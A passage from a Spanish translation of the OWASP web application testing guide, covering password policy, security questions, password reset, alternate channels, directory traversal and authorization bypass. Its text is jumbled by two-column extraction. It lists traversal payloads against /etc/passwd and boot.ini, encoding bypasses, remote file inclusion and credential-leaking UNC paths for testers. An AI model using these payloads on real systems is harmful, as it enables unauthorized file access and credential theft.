nmero de tarjeta de crdito o alguna otra informacin financiera y
comprobar que todas las pginas hacen cumplir la directiva de no-cache. Pruebas para determinar las polticas de contraseas dbiles (OTG-
Si encuentran pginas que contienen informacin crtica, pero que dejan AUTHN-007)
de indicarle al navegador no almacenar su contenido en cach, ellos saben
que la informacin sensible ser almacenada en el disco, y pueden Resumen
comprobar esto simplemente buscando la pgina en el cach del
navegador. El mecanismo de autenticacin ms frecuente y ms fcilmente
administrado es una contrasea esttica. La contrasea representa las
llaves del reino, pero a menudo es devaluada por los usuarios en nombre
de la facilidad de uso. En cada uno de los ltimos hacks de alto perfil que
La ubicacin exacta donde se almacena esa informacin depende del han revelado las credenciales de usuario, se lamenta que las contraseas
sistema operativo del cliente y el navegador que se ha utilizado. Estos son ms comunes son: 123456, password y qwerty.
algunos ejemplos:
[1] Mozilla Firefox:
Determine la resistencia de la aplicacin contra ataques de fuerza bruta o
Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ adivinanza de contrasea usando diccionarios de contraseas disponibles
mediante la evaluacin de los requerimientos de longitud, complejidad,
Windows: C:\Documents and Settings\<user_name>\Local reutilizacin y caducidad de las contraseas.
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
[2] Internet Explorer:
C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet

Files Cmo probar
[1] Qu caracteres son permitidos y prohibidos para usarse en una

contrasea? El usuario necesita utilizar caracteres de diferentes conjuntos de

112
caracteres como letras minsculas y maysculas, dgitos y smbolos Tpicamente se generan con la creacin de la cuenta y requieren que el
especiales? usuario seleccione algunas de las preguntas previamente generadas y
provea una respuesta adecuada. Puede permitir al usuario generar sus
[2] Con qu frecuencia puede un usuario cambiar su contrasea? Qu tan propios pares de preguntas y respuestas. Ambos mtodos son propensos
rpido puede un usuario cambiar su contrasea despus de un cambio a inseguridades. Idealmente, las preguntas de seguridad deben generar
anterior? Los usuarios pueden eludir requisitos de historial de contrasea respuestas que slo son conocidas por el usuario y no pueden ser
cambiando su contrasea cinco veces seguidas para que despus del ltimo predichas o descubiertas por nadie ms. Esto es ms difcil de lo que
cambio de contrasea recuperen su contrasea inicial otra vez. suena.
[3] Cundo un usuario debe cambiar su contrasea? Despus de 90 das?

Despus del bloqueo de la cuenta debido a un nmero excesivo de intentos
de inicio de sesin? Las preguntas y respuestas de seguridad se basan en el secreto de la
respuesta. Las preguntas y respuestas deben elegirse de modo que las
[4] Con qu frecuencia puede un usuario reutilizar una contrasea? La respuestas son slo conocidas por el titular de la cuenta. Sin embargo,
aplicacin mantiene un historial de las ultimas ocho contraseas utilizadas aunque muchas respuestas no sean pblicamente conocidas, la mayora
por el usuario? de las preguntas que implementan los sitios web promueven respuestas
que son de carcter privado.
[5] Cun diferente debe ser la nueva contrasea de la ltima contrasea
usada?
[6] Se impide al usuario que utilice su nombre de usuario u otra informacin

Preguntas previamente generadas:
de la cuenta (como el primer o ltimo nombre) en la contrasea?
La mayora de preguntas previamente generadas son de naturaleza
bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:
Referencias
Las respuestas pueden ser conocidas por los familiares o amigos cercanos
del usuario, por ejemplo, "Cul es el apellido de soltera de su madre?",
Brute Force Attacks: owasp.org
"Cul es su fecha de nacimiento?"
Password length & complexity: owasp.org
Las respuestas pueden ser fcilmente predecibles, e.g. "Cul es su color
favorito?", "Cul es su equipo favorito de bisbol?"
Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "Cul es
Remediacin
el nombre de su profesora favorita de secundaria?" - La respuesta est
probablemente en alguna lista fcilmente descargable de nombres populares y,
Para mitigar el riesgo de contraseas fcilmente adivinables facilitando el
por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script.
acceso no autorizado, hay dos soluciones: introducir controles de
autenticacin adicionales (es decir, autenticacin de dos factores) o introducir
Las respuestas pueden ser pblicamente visibles, por ejemplo, cul es su
una poltica de contraseas fuertes. El ms simple y ms barato de estos es la
pelcula favorita?"- la respuesta puede encontrarse fcilmente en la pgina de
introduccin de una poltica de contrasea fuerte que asegura la longitud, la
perfil de redes sociales del usuario.
complejidad, la reutilizacin y la caducidad de la contrasea.
Preguntas generadas por el usuario:

Pruebas para determinar la seguridad dbil de pregunta/respuesta
(OTG-AUTHN-008)
El problema de pedir a los usuarios que generen sus propias preguntas es
que les permite generar interrogantes muy inseguras, o incluso desviar la
Resumen
idea de tener una pregunta de seguridad en primer lugar. Aqu estn
algunos ejemplos del mundo real que ilustran este punto:
A menudo llamadas preguntas y respuestas "secretas", las preguntas y
respuestas de seguridad se utilizan frecuentemente para recuperar contraseas
olvidadas (vase Pruebas para determinar un cambio dbil de contrasea o
funciones de restablecimiento (OTG-AUTHN-009)), o como seguridad
Cunto es 1+1?
adicional por encima de la contrasea.
Cul es tu nombre de usuario?
Mi clave es M3@t$p1N

113
[1] La aplicacin permite al usuario elegir la pregunta que desea

contestar? Si es as, concntrese en las preguntas que tienen:
Cmo probar
Una respuesta "pblica"; por ejemplo, algo que se poda encontrar con una
Pruebas de preguntas dbiles previamente generadas: consulta simple en un motor de bsqueda.
Trate de obtener una lista de preguntas de seguridad mediante la Una respuesta objetiva como la "primera escuela" u otros hechos que pueden
creacin de una nueva cuenta o siguiendo el proceso de I dont consultarse.
remember my password (no recuerdo mi contrasea). Trate de generar
tantas preguntas como sea posible para obtener una buena idea del tipo Algunas posibles respuestas, tales como "qu modelo fue su primer
de preguntas de seguridad que se hacen. Si alguna de las preguntas de automvil". Estas preguntas dan al atacante una lista corta de posibles
seguridad cae en las categoras descritas anteriormente, son vulnerables respuestas y, basado en estadsticas, el atacante podra calificar las respuestas
a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes de ms a menos probables.
sociales, etc.).
[2] Determine, si es posible, cuntos intentos de adivinar tiene.

Pruebas de preguntas dbiles generadas por el usuario:
El reinicio de la contrasea permite intentos ilimitados?
Trate de crear preguntas de seguridad al crear una cuenta nueva o
mediante la configuracin de propiedades de recuperacin de contrasea Existe un perodo de bloqueo despus de X respuestas incorrectas? Tenga
de su cuenta. Si el sistema le permite al usuario generar sus propias en cuenta que un sistema de bloqueo puede ser un problema de seguridad por
preguntas de seguridad, es vulnerable a crear preguntas inseguras. Si el s mismo, ya que puede ser explotado por un atacante para lanzar una ataque
sistema utiliza las preguntas de seguridad generadas durante la de negacin de servicio contra los usuarios legtimos.
funcionalidad de contrasea olvidada, y si se pueden enumerar nombres
de usuario (vea Pruebas de enumeracin de cuentas y adivinanza de
cuentas de usuario (OTG-IDENT-004)), entonces debera ser fcil para el
[3] Elija la pregunta ms adecuada, basada en el anlisis de los puntos
evaluador enumerar una serie de preguntas generadas. Al utilizar este
anteriores y realice investigaciones para determinar las respuestas ms
mtodo, es probable encontrar varias preguntas dbiles.
probables.
Pruebas de respuestas suceptibles a ataques de fuerza bruta:

La clave para explotar con xito y eludir un esquema de preguntas de
Use los mtodos descritos en Pruebas para determinar un mecanismo de seguridad dbil es encontrar una pregunta o un conjunto de preguntas
bloqueo dbil (OTG-AUTHN-003) para determinar si un nmero de que dan la posibilidad de encontrar fcilmente las respuestas. Siempre
respuestas de seguridad incorrectamente suministradas activan un busque preguntas que puedan dar la mayor probabilidad estadstica de
mecanismo de bloqueo. adivinar la respuesta correcta si est totalmente inseguro de alguna de las
respuestas. Al final, un esquema de preguntas de seguridad es slo tan
fuerte como el ms dbil.
Lo primero que debe tomar en cuenta cuando se trata de explotar

preguntas de seguridad es el nmero de preguntas que necesitan ser
contestadas. La mayora de las aplicaciones nicamente necesita que el Referencias
usuario responda una sola pregunta, mientras que algunas aplicaciones
The Curse of the Secret Question:
crticas pueden requerir al usuario responder dos o ms preguntas.
https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm
l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. Las
respuestas se obtendran por una simple bsqueda en Google o con
ataque de ingeniera social? Como evaluador de penetracin, este es un
Pruebas para determinar un cambio dbil de contrasea o funciones de
tutorial paso a paso de cmo explotar un esquema de preguntas de
restablecimiento (OTG-AUTHN-009)
seguridad:
Resumen

114
El cambio de contrasea y la funcin de restablecimiento de una Por otro lado, si se utilizan preguntas secretas, el siguiente paso es
aplicacin es un autoservicio de cambio de contrasea o un mecanismo evaluar su solidez. Esta prueba especfica se discute en el prrafo de
de restablecimiento para los usuarios. Este mecanismo de autoservicio Probando la Seguridad Dbil de Pregunta/Respuesta de esta gua.
permite a los usuarios cambiar o restablecer rpidamente la contrasea
sin que un administrador intervenga. Cuando se cambian las contraseas
se cambian tpicamente dentro de la aplicacin. Cuando las contraseas
se restablecen son presentadas dentro de la aplicacin o por correo Cmo se comunican las contraseas restablecidas al usuario?
electrnico al usuario. Esto puede indicar que las contraseas se
almacenan en texto plano o formato desencriptable.
El escenario ms inseguro aqu es si la herramienta de restablecimiento

de contrasea le muestra la contrasea; esto le da al atacante la
Objetivos de la prueba posibilidad de acceder a la cuenta y, a menos que la aplicacin
proporcione informacin sobre el ltimo registro de acceso, la vctima no
[1] Determine la resistencia de la aplicacin a la subversin del proceso sabra que su cuenta ha sido comprometida.
de cambio de la cuenta permitiendo a una persona cambiar la contrasea
de una cuenta.
[2] Determine la resistencia de la funcin de restablecimiento de Un escenario menos inseguro es si la herramienta de restablecimiento de
contraseas contra el que puedan eludir o adivinar. contrasea obliga al usuario a cambiar inmediatamente su contrasea.
Aunque no tan sigilosamente como el primer caso, permite al atacante
obtener acceso y bloquer al usuario real.
Cmo probar
Tanto para el cambio de contrasea como para restablecer la contrasea, La mejor seguridad se logra si el restablecimiento de contrasea se
es importante verificar: realiza a travs de un correo electrnico a la direccin del usuario
inicialmente registrado o a alguna direccin de correo electrnico; Esto
fuerza al atacante no slo a adivinar a qu correo fue enviado el
restablecimiento de contrasea de la cuenta (a menos que la aplicacin
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer muestre esta informacin), sino tambin a comprometer la cuenta de
contraseas para cuentas que no sean la propia. correo electrnico, con el fin de obtener la contrasea temporal o el
vnculo para restablecer la contrasea.
[2] Si los usuarios pueden manipular o subvertir el cambio de contrasea o
restablecer el proceso para cambiar o restablecer la contrasea de otro usuario
o administrador.
Son las contraseas de restablecimiento generadas al azar?
[3] Si el cambio de contrasea o reinicio del proceso es vulnerable a CSRF.
El escenario ms inseguro aqu es si la aplicacin enva o visualiza la

Pruebe el reinicio de contrasea contrasea antigua en texto claro, porque esto significa que las
contraseas no se almacenan en una forma de hash, que es un problema
Adicionalmente a las revisiones anteriores, es importante verificar lo de seguridad en s mismo.
siguiente:
La mejor seguridad se logra si las contraseas se generan aleatoriamente

u informacin es necesaria para restablecer la contrasea? con un algoritmo seguro que no se puede derivar.
El primer paso es comprobar si se requieren preguntas secretas. El envo La funcin de restablecimiento de contrasea solicita confirmacin antes de
de la contrasea (o un enlace de restablecimiento de contrasea) a la cambiar la contrasea?
direccin de correo electrnico del usuario, sin preguntar primero una
pregunta secreta, es confiar 100% en la seguridad de la direccin de
correo electrnico, que no es conveniente si la aplicacin necesita un alto
nivel de seguridad.
115
Para limitar los ataques de negacin de servicio, la aplicacin debe enviar

por correo electrnico un enlace al usuario con una ficha al azar y, slo si
el usuario visita el enlace, entonces el procedimiento de reinicio se ha Los canales alternativos de interaccin del usuario podran utilizarse
completado. Esto asegura que la contrasea actual seguir siendo vlida para eludir el canal primario o exponer informacin que puede utilizarse
hasta que el restablecimiento haya sido confirmado. para ayudar a un ataque contra el canal primario. Algunos de estos
canales pueden ser aplicaciones web independientes, mediante nombres
o rutas de alojamiento diferentes. Por ejemplo:
Pruebe el cambio de contrasea
Adicionalmente a la prueba anterior, es importante verificar: Pgina web estndar
Sitio web optimizado para dispositivos mviles o dispositivos especficos
La contrasea anterior es solicitada para completar el cambio? Sitio web de accesibilidad optimizada
Sitios web de pas e idioma alternativos
El escenario ms inseguro aqu es si la aplicacin permite el cambio de la Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra pgina
contrasea sin solicitar la contrasea actual. De hecho, si un atacante es web que ofrece diferentes funcionalidades de la misma organizacin, un sitio
capaz de tomar el control de una sesin vlida, podra cambiar fcilmente web de un socio con el que se comparten cuentas de usuario)
la contrasea de la vctima.
Desarrollo, prueba, UAT y puesta en escena de las versiones de la pgina
web estndar
Vase tambin el prrafo Probando polticas de contraseas dbiles de

esta gua.
Pero tambin podra haber otro tipo de aplicaciones o procesos del
negocio:
Referencias Aplicacin para dispositivos mviles
OWASP Forgot Password Cheat Sheet Aplicacin de escritorio
OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery Operadores de centros de llamadas (call center)
Sistemas de respuesta de voz interactiva o sistemas de rboles de

llamadas telefnicas
Remediacin
El cambio de contrasea o funcin de restablecimiento es una funcin

sensible y requiere algn tipo de proteccin, tal como que los usuarios Tome en cuenta que el objetivo de esta prueba est en los canales
tengan que volver a autenticarse o que se presente al usuario pantallas de alternativos; algunas alternativas de autenticacin pueden aparecer ya
confirmacin durante el proceso. que hay diferente contenido entregado por el mismo sitio web y
seguramente estarn en la mira de pruebas. Estas no se discutirn ms a
fondo aqu y deben haber sido identificadas durante las pruebas de
recoleccin de informacin y autenticacin primarias. Por ejemplo:
Pruebas para determinar la autenticacin ms dbil en un canal
alternativo (OTG-AUTHN-010)
Resumen El progresivo enriquecimiento y la degradacin que cambian la

funcionalidad
Incluso si los mecanismos de autenticacin primaria no incluyen
vulnerabilidades, puede ser que las vulnerabilidades existan en canales Uso del sitio sin cookies
alternativos de autenticacin legtima para la misma cuenta del usuario.
Deben realizarse pruebas para identificar canales alternativos y, Uso del sitio sin JavaScript
conforme a la prueba de evaluacin, identificar las vulnerabilidades.
Uso del sitio sin plugins Flash y Java

116
Use motores de bsqueda para encontrar sitios web diferentes de la misma

organizacin o que usen el mismo nombre de dominio, que tienen similar
Aunque el alcance de la prueba no permita probar a los canales alternativos, contenido en la pgina de inicio o que disponen de mecanismos de
su existencia debe ser documentada. Estos pueden debilitar el grado de autenticacin.
fiabilidad en los mecanismos de autenticacin y pueden ser un precursor de
pruebas adicionales.
Para cada posible canal, confirme si las cuentas de usuario son

compartidas a travs de stos, o proporcionan acceso a la misma o similar
Ejemplo: funcionalidad.
El sitio web principal es:
http://www.example.com Enumere la funcionalidad de autenticacin
Para cada canal alternativo donde se comparten las cuentas de usuario o

funcionalidad, identifique si se dispone de todas las funciones de
y las funciones de autenticacin siempre ocurren en pginas que utilizan autenticacin del canal principal y si existe algo ms. Puede ser til crear
Transport Layer Security: una cuadrcula como la siguiente:
https://www.example.com/myaccount/
Centro de Sitio web

phpBB Mvil
llamadas asociado
Sin embargo, un sitio web optimizado para mvil independiente existe y
no usa Transport Layer Security y dispone de un mecanismo de Registro Si - -
recuperacin de contrasea ms dbil:
Abrir sesion Si Si Si (SSO)
http://m.example.com/myaccount/
Cerrar sesin - - -
Reestablecer Si Si -
Cmo probar
contrasea
Entienda el mecanismo primario

Cambio de - -
Contrasea
Pruebe completamente las funciones de autenticacin primaria del sitio
web. Esto debe identificar cmo se emiten, crean o cambian las cuentas y
cmo se recuperan, restablecen o cambian las contraseas. Adems, debe
conocerse cualquier privilegio elevado de las medidas de autenticacin y
de proteccin de autenticacin. Estos precursores son necesarios para
poder compararlos con los canales alternativos. En este ejemplo, el mvil tiene una funcin extra: "cambiar la contrasea",
pero no ofrece "desconectarse". Un nmero limitado de tareas tambin son
posibles llamando al centro de llamadas. Los centros de llamadas pueden ser
interesantes, porque sus controles de confirmacin de identidad podran ser
Identifique otros canales ms dbiles que los de la pgina web, lo cual permite que este canal sea
utilizado para un ataque contra la cuenta de un usuario.
Otros canales pueden encontrarse mediante los mtodos siguientes:
Lea el contenido del sitio, especialmente la pgina de inicio, contctenos,

pginas de ayuda, artculos y preguntas frecuentes (FAQs) , T & Cs, avisos de Mientras se enumeran estos, vale la pena tomar nota de cmo se lleva a
privacidad, los archivos robots.txt y sitemap.xml cabo el manejo de sesiones, en caso de que haya una superposicin a
travs de cualquier canal (cookies destinadas al mismo nombre de
Busque registros proxy HTTP, grabados durante la recopilacin de
dominio padre, sesiones simultneas permitidas a travs de canales, pero
informacin y pruebas previas, con las cadenas como "mobile", "android",
no en el mismo canal).
blackberry", "ipad", "iphone", mobile app, e-reader, wireless, auth,
sso, single sign on en rutas de URL y contenido.

117
Revise y pruebe
Los canales alternativos deben mencionarse en el informe de prueba, Tradicionalmente, los servidores web y aplicaciones web implementan
incluso si estn marcados como "solo informativos" y/o "fuera del mecanismos de autenticacin para controlar el acceso a archivos y
alcance". En algunos casos, el alcance de la prueba podra incluir el canal recursos. Los servidores web tratan de limitar los archivos de los
alternativo (por ejemplo, porque es una ruta en el nombre del usuarios dentro de un "directorio raz" o "raz del documento web ", que
alojamiento de destino), o pueden aadirse al mbito despus de la representa un directorio fsico en el sistema de archivos. Los usuarios
discusin con los dueos de los canales. Si la prueba se permite y deben considerar este directorio como el directorio base en la estructura
autoriza, entonces todas las otras pruebas de autenticacin en esta gua jerrquica de la aplicacin web.
deben realizarse y compararse con el canal primario.
La definicin de los privilegios se realiza mediante LISTAS DE Control de

Casos de prueba relacionados acceso (ACL) que identifican qu usuarios o grupos se supone que deben
tener acceso, modificar o ejecutar un archivo en el servidor. Estos
Los casos de prueba para todas las pruebas de autenticacin deben ser mecanismos estn diseados para evitar que usuarios malintencionados
utilizados. tengan acceso a archivos sensibles (por ejemplo, el archivo comn
/etc/passwd en una plataforma tipo UNIX) o para evitar la ejecucin de
comandos del sistema.
Remediacin
Asegrese de que se aplique una poltica de autenticacin consistente en Muchas aplicaciones web utilizan secuencias de comandos de servidor
todos los canales para que sean igualmente seguros. para incluir diferentes tipos de archivos. Es muy comn utilizar este
mtodo para administrar imgenes, plantillas, cargar textos estticos y
as sucesivamente. Desafortunadamente, estas aplicaciones exponen las
vulnerabilidades de seguridad si los parmetros de entrada (es decir,
Cmo probar la autorizacin parmetros de los formularios, valores de cookies) no son validados
correctamente.
Autorizacin es el concepto de permitir acceso a los recursos, slo a
aquellos permitidos para utilizarlos. Probando la autorizacin significa
comprender cmo funciona el proceso de autorizacin y usar esa
informacin para eludir el mecanismo de autorizacin. En servidores web y aplicaciones web, este tipo de problemas se presenta
en ataques path de inclusin de archivos de circulacin. Mediante la
explotacin de este tipo de vulnerabilidad, un atacante es capaz de leer
directorios o archivos que normalmente no puede leer, acceder a los
La autorizacin es un proceso que viene despus de una autenticacin
datos fuera de la raz de documentos web o incluir secuencias de
correcta, por lo que el evaluador verifica este punto despus de tener
comandos y otros tipos de archivos desde sitios web externos.
credenciales vlidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluacin, se debe verificar si es posible
eludir el esquema de autorizacin, encontrando una vulnerabilidad de
ruta de circulacin, o encontrar maneras de aumentar los privilegios Para el propsito de la gua de pruebas OWASP, slo las amenazas de
asignados al evaluador. seguridad relacionadas con aplicaciones web se considerarn y no las
amenazas a servidores web (por ejemplo, la infame "%5 escape c code"
en el servidor web IIS de Microsoft). Ms sugerencias de lectura se
proveern en la seccin de referencias para los lectores interesados.
Probar la inclusin de archivos de directorio de circulacin(OTG-
AUTHZ-001)
Resumen
Este tipo de ataque es tambin conocido como el ataque de punto-punto-
slash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o
Muchas aplicaciones web usan y administran archivos como parte de su
retroceso.
operacin diaria. Usando mtodos de validacin de entrada que no han
sido bien diseados o implementados, un agresor podra aprovechar el
sistema para leer o escribir archivos que no estn diseados para ser
accesibles. En situaciones particulares, podra ser posible ejecutar un
cdigo arbitrario o comandos del sistema.

118
Durante una evaluacin, para descubrir fallas en el recorrido de

circulacin y los archivos, los evaluadores necesitan realizar dos etapas
Cookie:
diferentes:
ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJ
gMSSPKVMV:
TEMPLATE=flower
(a) Enumeracin de Vectores de Entrada (una evaluacin sistemtica de
cada vector de entrada)
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Tcnicas de Pruebas (una evaluacin metdica de cada tcnica de
ataque, utilizada por un atacante para explotar la vulnerabilidad)
Tcnicas de pruebas
Cmo probar
La siguiente etapa de la prueba es analizar las funciones de validacin de
Prueba de Caja Negra entrada presentes en la aplicacin web. Usando el ejemplo anterior, la
pgina dinmica llamada getUserProfile.jsp carga informacin esttica de
Enumeracin de vectores de entrada un archivo y muestra el contenido a los usuarios. Un atacante podra
insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el
Con el fin de determinar qu parte de la aplicacin es vulnerable a eludir archivo de contraseas hash de un sistema Linux/UNIX. Obviamente, este
la validacin de entrada, el evaluador debe enumerar todas las partes de tipo de ataque slo es posible si el punto de control de validacin falla.
la aplicacin que aceptan el contenido por parte del usuario. Esto tambin Segn los privilegios de sistema de archivos, la aplicacin web debe ser
incluye consultas HTTP GET y POST y opciones comunes como carga de capaz de leer el archivo.
archivos y formularios HTML.
Para comprobar con xito esta falla, el evaluador debe tener

Estos son algunos ejemplos de los controles a realizar en esta etapa: conocimiento del sistema que est sometido a prueba y la ubicacin de
los archivos que se solicitan. No tiene ningn sentido solicitar
/etc/passwd de un servidor web IIS.
Hay parmetros de solicitud que se podran utilizar para las

operaciones relacionadas con archivos?
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Hay extensiones de archivo inusuales?
Hay nombres de variables interesantes?
Para el ejemplo de cookies:

http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
Es posible identificar las cookies utilizadas por la aplicacin web para

la generacin dinmica de pginas o plantillas? Tambin es posible incluir archivos y secuencias de comandos ubicadas
en sitios externos.

119
http://example.com/index.php?file=http://www.owasp.org/malicioustxt root directory: <drive letter>:
directory separator: :
El siguiente ejemplo demostrar cmo es posible mostrar el cdigo fuente Debemos tomar en cuenta los mecanismos de codificacin de los
de un componente CGI, sin utilizar los caracteres de ruta de circulacin. siguientes caracteres:
http://example.com/main.cgi?home=main.cgi
URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../

El componente llamado "main.cgi" est situado en el mismo directorio
como el de los archivos estticos HTML normales utilizados en la ..%2f represents ../
aplicacin. En algunos casos, el evaluador debe codificar las peticiones
utilizando caracteres especiales (como el "." dot, "% 00" null,...) para %2e%2e%5c represents ..\
evitar controles de extensin de archivo o para evitar la ejecucin del
script. %2e%2e\ represents ..\
..%5c represents ..\
Sugerencia: Es un error comn de los programadores no esperar todas %252e%252e%255c represents ..\
las formas de codificacin y, por lo tanto, solo hacer validacin de
contenido codificado bsico. Si al principio la secuencia de la prueba no es ..%255c represents ..\ and so on.
exitosa, pruebe con otro esquema de codificacin.
Cada sistema operativo utiliza caracteres diferentes como separadores de

Unicode/UTF-8 Encoding (solo funciona en sistemas que aceptan
ruta:
secuencias UTF-8 alargadas)
Unix-like OS:
..%c0%af represents ../
root directory: /
..%c1%9c represents ..\
directory separator: /
Hay otros sistemas operativos y aplicaciones con frameworks con

consideraciones especficas. Por ejemplo, Windows es flexible en su
anlisis de rutas de archivo.
Windows OS Shell:
root directory: <drive letter>:\

Shell de Windows: anexa cualquiera de las siguientes rutas utilizadas en
directory separator: \ or / los resultados de un comando de shell sin crear ninguna diferencia en la
funcin:
Los signos de ngulo ">" y "<" al final de la ruta
Classic Mac OS: Dobles comillas (debidamente cerradas) al final de la ruta
Marcadores extraos del directorio actual como". /" o ". \"

120
Marcadores extraos del directorio parental con elementos arbitrarios que Puede ser equivalente a una letra de unidad como c:\, o incluso a un
pueden o no existir volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\
Ejemplos:
file.txt
file.txt...
Se refiere a la primera unidad de disco en la mquina.
file.txt<spaces>
file.txt \\.\CdRom0\
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt Pruebas de Caja Gris
Cuando el anlisis se realiza con un enfoque de Caja Gris, los evaluadores

tienen que seguir la misma metodologa que en las pruebas de Caja Negra.
Windows API: los siguientes elementos son desechados cuando se utilizan Sin embargo, puesto que pueden revisar el cdigo fuente, es posible
en cualquier comando shell o llamada a la API, donde se toma una cadena buscar los vectores de entrada (etapa (a) de la prueba) ms fcilmente y
como un nombre de archivo: con precisin. Durante una revisin de cdigo fuente, pueden utilizar
herramientas simples (como el comando grep) para buscar uno o ms
periodos patrones comunes dentro del cdigo de la aplicacin: la inclusin de
funciones/mtodos, operaciones de sistema de archivos y dems.
espacios
PHP: include(), include_once(), require(), require_once(), fopen(),

readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...

Windows UNC Filepaths: utilizado para referenciar archivos en recursos
compartidos SMB. A veces, se puede hacer una aplicacin para referirse a ASP: include file, include virtual, ...
archivos en una ruta UNC remota. Si es as, el servidor SMB de Windows puede
enviar las credenciales almacenadas al atacante, que pueden ser capturadas y
penetradas. Estos tambin pueden ser utilizados con una direccin IP
autorreferenciada o con un nombre de dominio para evitar los filtros, o
utilizarlos para tener acceso a archivos en recursos compartidos SMB,
inaccesibles al atacante, pero accesibles desde el servidor web.
Utilizando motores de bsqueda de cdigo en lnea (por ejemplo, Ohloh
Code[1]), es tambin posible encontrar fallas en la ruta de circulacin en
\\server_or_ip\path\to\file.abc el software de cdigo abierto publicado en Internet.
\\?\server_or_ip\path\to\file.abc
Para PHP, los evaluadores pueden utilizar:
lang:php (include|require)(_once)?\s*[(]?\s*\$_(GET|POST|COOKIE)
Windows NT Device Namespace: Se utiliza para referirse al espacio de
nombres de dispositivo de Windows. Ciertas referencias permiten el acceso
a sistemas de archivos utilizando una ruta diferente.

121
code.google.com
Usando el mtodo de pruebas de Caja Gris, es posible descubrir las Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],
vulnerabilidades que son generalmente ms difciles de hallar, o incluso
imposibles de encontrar durante una evaluacin estndar de la Caja OWASP: Zed Attack Proxy (ZAP)[5])
Negra.
Enconding/Decoding tools
String searcher grep - gnu.org

Algunas aplicaciones web generan pginas dinmicas utilizando valores y
parmetros almacenados en una base de datos. Es posible insertar
cadenas de ruta de circulacin especialmente diseadas cuando la
aplicacin aade datos a la base de datos. Este tipo de problema de Referencias
seguridad es difcil de descubrir debido a que los parmetros dentro de
Libros Blancos
las funciones de inclusin parecen internos y "seguros", pero no lo son en
realidad.
phpBB Attachment Mod Directory Traversal HTTP POST Injection:
archives.neohapsis.com
Windows File Pseudonyms: Pwnage and Poetry: slideshare.net

Adems, revisando el cdigo fuente es posible analizar las funciones que
se supone deben manejar las entradas invlidas: algunos desarrolladores
tratan de cambiar la entrada invlida para que sea vlida, evitando avisos
y errores. Estas funciones son generalmente propensas a fallas de Cmo probar la autorizacin
seguridad.
La autorizacin es el concepto de permitir acceso a los recursos, pero slo
a aquellos sealados para utilizarlos. Probar la autorizacin significa
comprender cmo funciona el proceso de autorizacin y usar esa
Considere una aplicacin web con estas instrucciones:
informacin para eludir el mecanismo de autorizacin.
filename = Request. ueryString(file);
Replace(filename, /,\); La autorizacin es un proceso que viene despus de una autenticacin

correcta, por lo que el evaluador verificar este punto despus de tener
Replace(filename, ..\,); credenciales vlidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluacin, se debe verificar si es posible
eludir el esquema de autorizacin, encontrar una vulnerabilidad de ruta
de circulacin, o encontrar maneras de aumentar los privilegios
asignados al evaluador.
Probar la falla se consigue mediante:
file=....//....//boot.ini
Pruebas para eludir el esquema de autorizacin (OTG-AUTHZ-002)
file=....\\....\\boot.ini
Resumen
file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cmo se implement el
esquema de autorizacin para que cada rol o privilegio obtenga acceso a
funciones reservadas y recursos.
Herramientas
Para cada rol especfico que el evaluador tiene durante la evaluacin, para
DotDotPwn - The Directory Traversal Fuzzer:
cada funcin y solicitud que la aplicacin ejecuta durante la fase posterior
dotdotpwn.sectester.net a la autenticacin, es necesario verificar:
Path Traversal Fuzz Strings (from WFuzz Tool):

122
Es posible acceder a ese recurso, incluso si el usuario no est Qu sucede si un usuario no administrativo intenta ejecutar esa
autenticado? peticin? Se crear el usuario? Si es as, puede utilizar sus privilegios
del nuevo usuario?
Es posible tener acceso a ese recurso despus de la desconexin?
Es posible acceder a las funciones y los recursos que deben ser accesibles
a un usuario que tiene un rol diferente o un privilegio? Pruebas para buscar el acceso a los recursos asignados a un rol
diferente
Por ejemplo, analice una aplicacin que utiliza un directorio compartido

Intente acceder a la aplicacin como un usuario administrativo y siga para almacenar archivos PDF temporales para diferentes usuarios.
todas las funciones administrativas. Suponga que documentABC.pdf debe ser accesible slo por el usuario
test1 con roleA. Verifique si el usuario test2 con roleB puede acceder a
ese recurso.
Es posible acceder a funciones administrativas si el evaluador est

registrado como un usuario con privilegios estndar?
Herramientas
Es posible utilizar estas funciones administrativas como un usuario con
un rol diferente y para quien esa accin debera ser negada? OWASP WebScarab: OWASP WebScarab Project
Cmo probar
Pruebas para buscar el acceso a funciones administrativas Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ-
003)
Por ejemplo, suponga que la funcin 'AddUser.jsp' es parte del men
administrativo de la aplicacin, y es posible acceder a l al solicitar la Resumen
siguiente URL:
Esta seccin describe el problema del escalamiento de privilegios de una
etapa a otra. Durante esta fase, el evaluador deber verificar que no es
https://www.example.com/admin/addUser.jsp posible para un usuario modificar sus privilegios o roles dentro de la
aplicacin, de manera que podra permitir ataques de escalada de
privilegios.
El escalamiento de privilegios se produce cuando un usuario obtiene

Entonces, la siguiente peticin HTTP se genera cuando se llama a la
acceso a ms recursos o funcionalidad que la que normalmente se le
funcin AddUser:
permite, y dicha elevacin o cambios deban haber sido evitados por la
